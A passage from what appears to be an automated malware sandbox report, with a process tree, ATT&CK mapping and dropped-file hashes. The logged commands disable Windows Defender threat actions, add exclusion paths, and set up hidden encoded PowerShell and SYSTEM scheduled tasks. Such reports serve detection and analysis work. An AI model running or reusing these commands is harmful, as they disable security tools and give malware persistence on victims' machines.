\"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gOxePjRUl" /SC once /ST 02:03:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gOxePjRUl"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gOxePjRUl"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 01:54:03 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\SvYMbMh.exe\" aV /RSMCdidxk 385118 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "yfARWRprRqUFWeTGf"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3652 -ip 36521⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\SvYMbMh.exeC:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\SvYMbMh.exe aV /RSMCdidxk 385118 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4568 -ip 45681⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Virtualization/Sandbox Evasion
2Impair Defenses
1Disable or Modify System Firewall
1Subvert Trust Controls
1Install Root Certificate
1Modify Registry
1Credential Access
Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Are.docxFilesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
-
C:\ProgramData\ClearRegister.xlsxFilesize
471KB
MD569b3b0dc9185fdc359925d4f4fa08bb3
SHA10fbe46c0139fe3960dd3b94b5c3016dbe878e2cf
SHA256c213faf46b16f6fb2f0c7009d2d0ecff4dafe40bbde6494ec71e84e76f6a3086
SHA51242d646a04a913a1ae6505a84ceaf6fd9cde798f3de612b9d57af07d8cfcf5bd489f5905780d93067f73ef0d2f747b92f2110dc35686652f7b85efec49ae9c057
-
C:\ProgramData\GIEBAECAFilesize
100KB
MD5fe7f1430f6bbc149ff1e211f28c9674a
SHA1fb9fbfec9e80acd8088200b402c9d60bd27140b2
SHA25641b860622a64fc22804e22a9519100d437397b1c1da5255906ee2234cdbe7ce8
SHA512d52b68ba3df1bb5611b9ab39a03f988089ffb810d08da4abbdf795681ccd2c15c1590c797c623f3a93bc4c92e6181c3982fa464e62d4614d00bb8261f22a12c1
-
C:\ProgramData\JJJJEBGDFilesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
-
C:\ProgramData\freebl3.dllFilesize
669KB
MD5550686c0ee48c386dfcb40199bd076ac
SHA1ee5134da4d3efcb466081fb6197be5e12a5b22ab
SHA256edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa
SHA5120b7f47af883b99f9fbdc08020446b58f2f3fa55292fd9bc78fc967dd35bdd8bd549802722de37668cc89ede61b20359190efbfdf026ae2bdc854f4740a54649e
-
C:\ProgramData\mozglue.dllFilesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
C:\ProgramData\msvcp140.dllFilesize
439KB
MD55ff1fca37c466d6723ec67be93b51442
SHA134cc4e158092083b13d67d6d2bc9e57b798a303b
SHA2565136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
SHA5124802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546
-
C:\ProgramData\nss3.dllFilesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
-
C:\ProgramData\softokn3.dllFilesize
251KB
MD54e52d739c324db8225bd9ab2695f262f
SHA171c3da43dc5a0d2a1941e874a6d015a071783889
